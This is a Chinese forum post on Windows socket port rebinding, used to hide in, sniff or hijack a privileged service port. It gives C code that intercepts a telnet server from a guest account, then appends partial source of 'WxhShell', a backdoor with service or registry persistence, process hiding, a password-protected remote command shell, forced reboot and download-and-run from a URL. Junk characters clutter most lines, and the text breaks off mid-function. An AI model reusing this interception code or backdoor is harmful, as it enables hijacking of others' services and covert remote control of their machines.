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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5R`6zhf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2TEeP7  
TSSt@xQ+  
  saddr.sin_family = AF_INET; 2gAdZE&Y  
[V, ;X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .oj"ru  
y=xe<#L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XhAcC  
D{c>i`\G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "!6~*!]c  
j :Jdwf  
  这意味着什么?意味着可以进行如下的攻击: FR^wDm$  
( L\G!pP.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5qQ(V)ah  
Y~hd<8 ~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S aet";pf`  
k`mrRs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ioa_AG6B  
":#x\;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pq\V($gN  
N|d.!Q;V.y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nQ!#G(_nO  
3KFrVhB=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :'rZZeb'  
Qn)[1v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S%s|P=u  
r]EZ)qp^@  
  #include 1\J1yOL  
  #include }:l%,DBw  
  #include 5YG@[ic  
  #include    K<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _B7?C:8Q-  
  int main() YSz$` 7i  
  { ?CW^*So  
  WORD wVersionRequested; P}WhE  
  DWORD ret; _E<O+leWf  
  WSADATA wsaData; X1V}%@3:  
  BOOL val; MN M>  
  SOCKADDR_IN saddr; b, **$  
  SOCKADDR_IN scaddr; CE7pg&dJ)i  
  int err; e9hVX[uq  
  SOCKET s; 6dR-HhF  
  SOCKET sc; m>-^ K  
  int caddsize; u3i| }`  
  HANDLE mt; "ko?att~  
  DWORD tid;   M3;v3 }z<-  
  wVersionRequested = MAKEWORD( 2, 2 ); ? ]:EmP  
  err = WSAStartup( wVersionRequested, &wsaData ); g yH7((#i  
  if ( err != 0 ) { sEJ;t0.LX  
  printf("error!WSAStartup failed!\n"); -anFt+f-  
  return -1; y7IbE   
  } (zro7gKked  
  saddr.sin_family = AF_INET; ?r'TH/>  
   (VXx G/E3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ];{l$-$$  
O$umu_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L!b0y7yR  
  saddr.sin_port = htons(23); )"c]FI[}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L1!hF3G  
  { a. `JS  
  printf("error!socket failed!\n"); ~iR!3+yg4  
  return -1; si!9Gz;  
  } Rw ao5l=x  
  val = TRUE; >&Ui*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -}qGb}F8!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bR8 HGH28  
  { z2nUul(2  
  printf("error!setsockopt failed!\n"); PxVI {:Uz  
  return -1; 6v2RS  
  } 3{I=#>;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .";tnC!e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E ^SM`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vu'!-K=0  
SL\y\G aV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?ZuD _L-i  
  { HHIUl,P  
  ret=GetLastError(); i h$@:^\  
  printf("error!bind failed!\n"); vPl6Das r  
  return -1; WVT5VJ7*  
  } ug6f   
  listen(s,2); tp0!,ne*  
  while(1) e"s{_V  
  { w{zJE]7  
  caddsize = sizeof(scaddr); q{De&Bu  
  //接受连接请求 " ,aT<lw.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qp~4KukL  
  if(sc!=INVALID_SOCKET) Sv ~1XL W  
  { 2c>H(t h=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X v7U<q  
  if(mt==NULL) Puth8$  
  { gcW{]0%L^  
  printf("Thread Creat Failed!\n"); K@j^gF/0B  
  break; L4/TI(MP  
  } :U-US|)(2  
  } rm)SfT<  
  CloseHandle(mt); !8"$d_=h  
  } T?]kF-   
  closesocket(s); #-gGsj;F  
  WSACleanup(); =4M.QA@lI!  
  return 0; n2y/zP>TC  
  }   {7Gx9(  
  DWORD WINAPI ClientThread(LPVOID lpParam) l`M5'r]l  
  { d[>N6?JA/  
  SOCKET ss = (SOCKET)lpParam; +zVcOS*-  
  SOCKET sc; 2NA rE@  
  unsigned char buf[4096]; :9x084ESR)  
  SOCKADDR_IN saddr; `3sy>GU?  
  long num; [nN\{"~O  
  DWORD val; \Sq"3_m4T  
  DWORD ret; r_V2 J{B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EYJi6#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ot2zhR )  
  saddr.sin_family = AF_INET; -M>K4*%K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5}d/8tS  
  saddr.sin_port = htons(23); \\2k}TsB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ENYF0wW  
  { .n)!ZN  
  printf("error!socket failed!\n"); <9d-Hz  
  return -1; \%-E"[!  
  } b5n]Gp  
  val = 100; ].k+Nzf_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $xUzFLh=`  
  { #A|D\IhF  
  ret = GetLastError(); L)R[)$2(g  
  return -1; ^ =/?<C4  
  } 6 <qwP?WN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sx[&4 k[  
  { %eutfM-?6  
  ret = GetLastError(); 2<6`TA*m  
  return -1; ax72ehL}  
  } ~_l6dDJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ySixYt  
  { y ;{^Ln4{  
  printf("error!socket connect failed!\n"); c9*1$~(v0I  
  closesocket(sc); ?x5wS$^q<  
  closesocket(ss); Uxk[O  
  return -1; 5M<' A=  
  } ^8';8+$  
  while(1) eC+"mhB  
  { $TD~k;   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~$&:NB1~q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $KwI}>E4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w PG1P'w;  
  num = recv(ss,buf,4096,0); LL= Z$U $  
  if(num>0) ?u_gXz;A  
  send(sc,buf,num,0); #K :-Bys5v  
  else if(num==0) $S6HZG:N  
  break; }XGMa?WR  
  num = recv(sc,buf,4096,0); Z{,GZT  
  if(num>0) 3wN?|N  
  send(ss,buf,num,0); Yo~LckFF  
  else if(num==0) n) _dH/"  
  break; ;t;Y.*&=S  
  } ? fbgU  
  closesocket(ss); @pF fpHq?>  
  closesocket(sc); 5|<yfk8*J  
  return 0 ; eK Z@ FEZ  
  } C%}]"0Q1  
%]a @A8o0  
 k#axt Sc  
========================================================== Snc; p  
9 3W  
下边附上一个代码,,WXhSHELL .N~PHyXZR  
.>mH]/]m  
========================================================== ]>R`;"(  
JmU<y  
#include "stdafx.h" [%j?.N  
PGPISrf  
#include <stdio.h> 8)^B32  
#include <string.h> F_A%8)N  
#include <windows.h> h4hN1<ky\  
#include <winsock2.h> gk!E$NyE  
#include <winsvc.h> Jv_.itc  
#include <urlmon.h> ..t,LU@|  
0>,.c2),  
#pragma comment (lib, "Ws2_32.lib")  ]{f^;y8  
#pragma comment (lib, "urlmon.lib") ==QWwPpA  
hp bwZ  
#define MAX_USER   100 // 最大客户端连接数 (C8 U   
#define BUF_SOCK   200 // sock buffer doP$N3Zm  
#define KEY_BUFF   255 // 输入 buffer v! 7s M  
 \#4m@  
#define REBOOT     0   // 重启 ?M*7@t@  
#define SHUTDOWN   1   // 关机 g M4Pj[W  
yfmp$GO:  
#define DEF_PORT   5000 // 监听端口 o&(wg(Rv  
8YuJ8KC  
#define REG_LEN     16   // 注册表键长度 D(y+1^>  
#define SVC_LEN     80   // NT服务名长度  f~w>v  
wP[xmO-%  
// 从dll定义API NH7`5mF$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A /q2g7My  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yJ!OsD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z[",$Lt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 63W{U/*aao  
WtEI] WO  
// wxhshell配置信息 "-w ^D!C  
struct WSCFG { ~9Z h,p ;  
  int ws_port;         // 监听端口 kOw=c Gt  
  char ws_passstr[REG_LEN]; // 口令 ;Vg^!]LL#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6cJ<9i &  
  char ws_regname[REG_LEN]; // 注册表键名 +'%@!  
  char ws_svcname[REG_LEN]; // 服务名 Vclr)}5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QE|`&~sme  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N_UQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (+* ][|T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {fZb@7?GF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kw*)/$5]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (a[.vw^g  
|,b2b2v ?  
}; MDJc[am  
lsk_P&M  
// default Wxhshell configuration i3#'*7f%j  
struct WSCFG wscfg={DEF_PORT, 74+A+SK[  
    "xuhuanlingzhe", `ncNEHh7K  
    1, NUCiY\td  
    "Wxhshell", i}v9ut]B  
    "Wxhshell", IV'p~t  
            "WxhShell Service", l3.  
    "Wrsky Windows CmdShell Service", ;B~P>n}}_]  
    "Please Input Your Password: ", #ly@;!M  
  1, F$Hx`hoy  
  "http://www.wrsky.com/wxhshell.exe", >!L&>OOx  
  "Wxhshell.exe" Z|G/^DK!  
    }; ?]c+j1 i  
a d9CsvW  
// 消息定义模块 #E DEYEW7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |~WYEh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; re^Hc(8M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qz!Ph5 (  
char *msg_ws_ext="\n\rExit."; 44\cI]!{  
char *msg_ws_end="\n\rQuit."; _%~$'Hy  
char *msg_ws_boot="\n\rReboot..."; ]ab#q=  
char *msg_ws_poff="\n\rShutdown..."; %d1draL  
char *msg_ws_down="\n\rSave to "; c pk^!@c  
PY`L$e  
char *msg_ws_err="\n\rErr!";  %v+=;jw  
char *msg_ws_ok="\n\rOK!"; {hQ6K)s  
Ts9ktPlm  
char ExeFile[MAX_PATH]; Dzl;-]S  
int nUser = 0; 2#vv$YD  
HANDLE handles[MAX_USER]; PE"v*9k  
int OsIsNt; #DFV=:|~  
/*$hx@ih  
SERVICE_STATUS       serviceStatus; fKHE;A*>%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S{#cD1>.  
AQss4[\Dx  
// 函数声明 EHn"n"Y  
int Install(void); l>6@:nq|R  
int Uninstall(void); L?5f+@0.  
int DownloadFile(char *sURL, SOCKET wsh); }7s>B24J  
int Boot(int flag); -.IEgggf  
void HideProc(void);  En6H%^d2  
int GetOsVer(void); p`F9Amb  
int Wxhshell(SOCKET wsl); `_vB+a  
void TalkWithClient(void *cs); x%N\5 V1  
int CmdShell(SOCKET sock); .fYZ*=P;c  
int StartFromService(void); uH@FU60  
int StartWxhshell(LPSTR lpCmdLine); _Ov;4nt!  
t<j^q`;@v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); amWD-0V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =IU*}>#  
l"(6]Z 4  
// 数据结构和表定义 W_`A"WdT.  
SERVICE_TABLE_ENTRY DispatchTable[] = l@JSK ;  
{ ]Mi.f3QlO6  
{wscfg.ws_svcname, NTServiceMain}, S'LZk9E  
{NULL, NULL} )IL #>2n?  
}; ememce,Np  
_ oFs #kW  
// 自我安装 p\p\q(S">  
int Install(void) l?8M p$M  
{ "TcW4U9  
  char svExeFile[MAX_PATH]; lrWQOYf2  
  HKEY key; FV39QG4b4  
  strcpy(svExeFile,ExeFile); |X19fgk  
k]A8% z  
// 如果是win9x系统,修改注册表设为自启动 (u3s"I d  
if(!OsIsNt) { CO:u1?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2@=IT0[E\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q.#[TI ^  
  RegCloseKey(key); ccFn.($p?,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %+)o'nf"U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @}-r&/#  
  RegCloseKey(key); )B# ,  
  return 0; h#r^teui)  
    } ^].jH+7i*  
  } E Y<8B3y  
} sP@X g;]  
else { Lw1EWN6}_&  
V'Kgdj  
// 如果是NT以上系统,安装为系统服务 A3N]8?D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bx4'en#  
if (schSCManager!=0) R6-n IY,  
{ )E#2J$TD  
  SC_HANDLE schService = CreateService oR1^/e  
  ( 5yZTcS z  
  schSCManager, Z?P~z07  
  wscfg.ws_svcname, }[+!$#  
  wscfg.ws_svcdisp, lv&mp0V+  
  SERVICE_ALL_ACCESS, !$;a[Te  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $~0Q@):  
  SERVICE_AUTO_START, '*^yAlgtt  
  SERVICE_ERROR_NORMAL, /iC;%r1L  
  svExeFile, N==ZtKj F  
  NULL, (>4aibA'P  
  NULL, :~Q!SL N  
  NULL, ltB .Q  
  NULL, !" #9<~Q,p  
  NULL GNf482  
  ); fWc|gq  
  if (schService!=0) _@mRb^  
  { }9HmTr|  
  CloseServiceHandle(schService); {`=0 |oP}  
  CloseServiceHandle(schSCManager); K,'*Dz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |BT MJ:B  
  strcat(svExeFile,wscfg.ws_svcname); =]`lN-rYw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u]-_<YZ'B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j$UV/tp5T  
  RegCloseKey(key); .nu @ o40  
  return 0; T<3BT  
    } VV4Gjc  
  } 9E2j!  
  CloseServiceHandle(schSCManager); acP+3u?r  
} Rlnbdb;!k  
} :A %^^F%  
5!YA o\S  
return 1; %CwL:.|  
} 2~[@_  
&6 s) X  
// 自我卸载 `@d<n  
int Uninstall(void) ?[<Tx-L  
{ u] :m"L M  
  HKEY key; /={Js*  
G+xt5n.%  
if(!OsIsNt) { &8&d3EQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .:p2Tbo  
  RegDeleteValue(key,wscfg.ws_regname); vb 1@yQ  
  RegCloseKey(key); 1g# #sSa6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W?yd#j  
  RegDeleteValue(key,wscfg.ws_regname); e^4 p%  
  RegCloseKey(key); sDr/k`>  
  return 0; =S'%`]f?  
  } YprH wL  
} }+o:j'jB  
}  [,n c  
else { ~DRmON5 M  
F' U 50usV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |@,|F:h<M  
if (schSCManager!=0) b2 _Yu^  
{ t?o ,RN:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DRqZ,[!+  
  if (schService!=0) iGB_{F~t4}  
  { T=hho Gn  
  if(DeleteService(schService)!=0) { dm-pxE "  
  CloseServiceHandle(schService); W$U0[^1  
  CloseServiceHandle(schSCManager); RLlU" sw+{  
  return 0; ,B4VT 96*  
  } 6sIL.S~c)  
  CloseServiceHandle(schService); *k"|i*{  
  } X[#zCM  
  CloseServiceHandle(schSCManager); M8H5K  
} ^7;JC7qmN  
} P%)gO  
Pe C7  
return 1; <YA&Dr3OD  
} [E#UGJ@  
&g2 Eptx#  
// 从指定url下载文件 G}5#l  
int DownloadFile(char *sURL, SOCKET wsh) M"%Q&o/I  
{ %Qg+R26U  
  HRESULT hr; z <mK>$  
char seps[]= "/"; eh1Q7 ~  
char *token; o6f_l^+H  
char *file; dz~co Z9  
char myURL[MAX_PATH]; vR0 ];{  
char myFILE[MAX_PATH]; cvwhSdZu8  
ThPE 0V  
strcpy(myURL,sURL); >!_Xgw  
  token=strtok(myURL,seps); ]9}HEu;1M  
  while(token!=NULL) tm7u^9]  
  { sr@j$G#uW5  
    file=token; ;8!Z5H  
  token=strtok(NULL,seps); %uv?we7  
  } *[=bR>  
"V{yi!D{<  
GetCurrentDirectory(MAX_PATH,myFILE); G:x*BH+  
strcat(myFILE, "\\"); K)TrZ 2  
strcat(myFILE, file); ~|wbP6</:-  
  send(wsh,myFILE,strlen(myFILE),0); # :T-hRu  
send(wsh,"...",3,0); hOhS)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kwc6mlw~M  
  if(hr==S_OK) VqL.iZ-  
return 0; cA6lge<{~  
else XeBP`\>Ve  
return 1; eZ"1gYqy  
Bgmn2-  
} iC iZJ"  
5[j`6l  
// 系统电源模块 qfcYE=  
int Boot(int flag) JCAq8=zM  
{ <~ JO s2  
  HANDLE hToken; 6<K6Y5<6  
  TOKEN_PRIVILEGES tkp; 4v[~r1!V  
eY{+~|KZ  
  if(OsIsNt) { ;n|^1S<[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~4q5 k5.,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }I`a`0/  
    tkp.PrivilegeCount = 1; iNwqF0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <b/~.$a'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UT}i0I9  
if(flag==REBOOT) { oD}uOC}FS{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E( us'9c   
  return 0; EGl^!.'  
} "UwH\T4I  
else { bQ|V!mrN}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1s1=rZ!  
  return 0; %e*@CbO$  
} 5SkW-+$  
  } 5>AX*]c  
  else { }w4QP+ x  
if(flag==REBOOT) { \M'-O YH_[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gWY "w!f  
  return 0; m7T)m0  
} h*ZC*eV>  
else { fib}b? vk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3> /K0N|$  
  return 0; !|c|o*t{  
} 2w)-\/j}  
} Z$J#|  
YJ(*wByM  
return 1; ioPUUUb)  
} )E+'*e{cK  
%'0T Xr$  
// win9x进程隐藏模块 # p[',$cC  
void HideProc(void) ah~Y eJp  
{ uYrfm:4S  
MQin"\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {nU=%w"\  
  if ( hKernel != NULL ) {}:ToIp  
  { $['Bv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  <T[E=#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^k<o T'89  
    FreeLibrary(hKernel); %/updw#{B  
  } OT&k.!=  
O9:U8$*  
return; Ali9pvE  
} y!]CJigpZ  
imiR/V>N  
// 获取操作系统版本 7 I>G{  
int GetOsVer(void) ^] kF{ o?  
{ WOh|U4vt  
  OSVERSIONINFO winfo; i*CZV|t US  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?.Pg\ur  
  GetVersionEx(&winfo); =/\:>+p^.y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aM4k *|H?  
  return 1; z2Z^~, i  
  else 7=(Hy\Q5xH  
  return 0; a'\o 7_  
} Mfv1Os:ST  
41SGWAd#:  
// 客户端句柄模块 q{+_ <2U|  
int Wxhshell(SOCKET wsl) 10H)^p%3+  
{ {/pm<k=  
  SOCKET wsh; ;NRF=d>  
  struct sockaddr_in client; *{+G=d  
  DWORD myID; `O'`eY1f  
4V~?.  
  while(nUser<MAX_USER) Y3O#Q)-j$  
{ -kbg\,PW  
  int nSize=sizeof(client); %w7]@VZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /a6Xa&(B  
  if(wsh==INVALID_SOCKET) return 1; UT="2*3gz  
S]E.KLR?[;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I" KN"v^  
if(handles[nUser]==0) [|l?2j\  
  closesocket(wsh); yV^s,P1  
else t'ZWc\  
  nUser++; H<1WbM:w  
  } S6[v;{xJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 36am-G  
MeUaTJFEB  
  return 0; @}kv-*  
} xC tmXo  
*_?dVhxf  
// 关闭 socket 0:b2(^]bg  
void CloseIt(SOCKET wsh) *&f$K1p  
{ `Qqk<o  
closesocket(wsh); W2.qhY5  
nUser--; vv=VRhwF  
ExitThread(0); /q5:p`4{J  
} IUwm}9Q!  
S%`0'lzzj  
// 客户端请求句柄 (T2m"Yi:  
void TalkWithClient(void *cs) ~}<DG1!  
{ H9CS*|q6r  
6"}?.E$  
  SOCKET wsh=(SOCKET)cs; be +4junf  
  char pwd[SVC_LEN]; ciMzf$+G$  
  char cmd[KEY_BUFF]; PiA0]>  
char chr[1]; HF(KN{0.B  
int i,j; 3d|9t9v  
O|w J)  
  while (nUser < MAX_USER) { `hb%+-lj+  
%dY<=x#b  
if(wscfg.ws_passstr) { xNbPsoK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yiO. z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8apH{&t  
  //ZeroMemory(pwd,KEY_BUFF); 50={%R  
      i=0; |DsnNk0c  
  while(i<SVC_LEN) { p/h Rk<K6  
5L!y-3  
  // 设置超时 tToTxf~  
  fd_set FdRead; 7nuU^wc  
  struct timeval TimeOut; AnT3M.>ek  
  FD_ZERO(&FdRead); p|]\P%,\  
  FD_SET(wsh,&FdRead); tPF.r  
  TimeOut.tv_sec=8; ? YG)I;(  
  TimeOut.tv_usec=0; AA7C$;Z15~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =AuR:Tx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cb}[S:&|  
uS^Ipxe\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G["c\Xux  
  pwd=chr[0]; w`5xrqt@  
  if(chr[0]==0xd || chr[0]==0xa) { s)pbS}L  
  pwd=0; Sm5H_m!  
  break; ' MxrQ;|S  
  } vuYSVI2=H  
  i++; O6OP =K!t:  
    } {E8~Z8tT  
VX1-JxY  
  // 如果是非法用户,关闭 socket \P6$mh\T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 15sp|$&`  
} /~<@*-'  
r3PT1'P?L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cMOyo<F#^=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VzVc37 Z>6  
b1( $R[  
while(1) { 7"C$pm6  
=y!$/(H  
  ZeroMemory(cmd,KEY_BUFF); g pOC`=  
c??mL4$'N  
      // 自动支持客户端 telnet标准   S.f5v8  
  j=0; Pjc Tx +  
  while(j<KEY_BUFF) { .qZI$ l .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f=9|b  
  cmd[j]=chr[0]; j{Q9{}<e  
  if(chr[0]==0xa || chr[0]==0xd) { r% +V8o  
  cmd[j]=0; hr)B[<9  
  break; aYSCw 3C<  
  } t)}scf&^x  
  j++; ;-qO'V:;  
    } 9c("x%nLpB  
 .P"D  
  // 下载文件 l~$+,U&XNe  
  if(strstr(cmd,"http://")) { IqoR7ajA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5wDg'X]>V  
  if(DownloadFile(cmd,wsh)) sc,vj'r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'+8}T]xQ  
  else WA&!;Zq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Pi|J-Y  
  } _+E5T*dk  
  else { Ug<#en  
qO|R^De  
    switch(cmd[0]) { !/]WrGqbS  
  |mw.qI|  
  // 帮助 =UfsL%  
  case '?': { W*I(f]8:y`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?o|f':  
    break;  e0,|Wm  
  } #iHs* /85  
  // 安装 gK'1ZLdZ2  
  case 'i': { V: TM]  
    if(Install()) <d$x.in  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XcUwr  
    else VG ;kPzze  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7x%R:^*4  
    break; LHo3 Niy.  
    } &n8_0|gK  
  // 卸载 d\gJ$ ~^K  
  case 'r': { 1 P!Yxeh  
    if(Uninstall()) ~ r4 38&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rr02pM0  
    else M,\:<kNI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1^}[&ar  
    break; b?lD(fa&  
    } =h5H~G5AT  
  // 显示 wxhshell 所在路径 E;R n`oxk  
  case 'p': { Tq[kl'_  
    char svExeFile[MAX_PATH]; )x=1]T>v"'  
    strcpy(svExeFile,"\n\r"); I$Op:P6.E  
      strcat(svExeFile,ExeFile); Zm_UR*"  
        send(wsh,svExeFile,strlen(svExeFile),0); 8&qZ0GLaT  
    break; ?q{ ,R"  
    } LQRQA[^  
  // 重启 7 *`h/  
  case 'b': { GQUe!G9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Fhs"  
    if(Boot(REBOOT)) WGZ9B^A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  jYmR  
    else { n|RJ;d30Q  
    closesocket(wsh); ORJIo  
    ExitThread(0); ~lsl@  
    } 0vD7v  
    break; Vg>dI&O  
    } ?!d&E ?9\  
  // 关机 E^/t$M|H  
  case 'd': { 'O_3)x5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L"1}V  
    if(Boot(SHUTDOWN)) #(N+(():  
